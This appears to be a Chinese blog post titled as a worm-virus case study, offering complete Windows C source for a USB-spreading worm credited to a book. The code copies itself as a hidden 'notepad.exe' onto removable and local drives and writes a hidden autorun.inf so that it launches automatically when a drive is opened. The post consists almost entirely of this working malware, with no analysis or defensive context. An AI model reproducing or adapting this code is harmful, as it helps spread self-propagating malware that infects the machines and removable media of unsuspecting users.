蠕虫病毒案例

/*      蠕虫 示例
 *  Written by noexcept
 * (Reference From Book)
 */ 
#include <windows.h>
char szAutoRun[] = "[AutoRun] \n"
  "open=notepad.exe\n"
  "shell\\open=打开(&O)\n"
  "shell\\open\\command=notepad.exe\n"
  "shell\\explore=资源管理器(&X)\n"
  "shell\\explore\\command=notepad.exe\n"
  "shellexecute=notepad.exe\n"
  "shell\\Auto\\command=notepad.exe"; //AUTORUN.INF 内容 
void infect(char* pszFile,UINT uDriveType)
{    //感染
 char szDriveString[MAXBYTE] = {0};
 DWORD dwRet = 0; //总量 
 DWORD iNum = 0;
 char szRoot[4] = {0};
 UINT uType = 0;
 char szTarget[MAX_PATH] = {0};
 dwRet = GetLogicalDriveStrings(MAXBYTE,szDriveString); //遍历驱动器 
 while(iNum < dwRet)
 {
  strncpy(szRoot,&szDriveString[iNum],3);
  uType = GetDriveType(szRoot); //驱动器类型 
  if(uType == uDriveType) //目标明确 
  {
   lstrcpy(szTarget,szRoot);
   lstrcat(szTarget,"notepad.exe");
   CopyFile(pszFile,szTarget,FALSE); //复制;C盘可能需要管理员权限 
   SetFileAttributes(szTarget,FILE_ATTRIBUTE_HIDDEN); //隐藏之 
   lstrcpy(szTarget,szRoot);
   lstrcat(szTarget,"autorun.inf");
   HANDLE hFile = CreateFile(szTarget,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); 
   DWORD dwWritten = 0;
   WriteFile(hFile,szAutoRun,lstrlen(szAutoRun),&dwWritten,NULL); //写autorun.inf 
   CloseHandle(hFile);
   SetFileAttributes(szTarget,FILE_ATTRIBUTE_HIDDEN); //隐藏之 
  }
  iNum += 4;
 }
}
int main()
{
 char szFileName[MAX_PATH] = {0};
 char szRoot[4] = {0};
 UINT uType = 0;
 GetModuleFileName(NULL,szFileName,MAX_PATH); //当前绝对路径 
 strncpy(szRoot,szFileName,3); //Like "C:\\"
 uType = GetDriveType(szRoot); //驱动器类型 
 switch(uType)
 {
  case DRIVE_FIXED:{ //本地磁盘 
   infect(szFileName,DRIVE_REMOVABLE); //去检查可移动磁盘 
   break;
  }
  case DRIVE_REMOVABLE:{ //可移动磁盘 
   infect(szFileName,DRIVE_FIXED);  //去定居本地磁盘 
   break;
  }
 }
 return 0;
}

  • 8
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值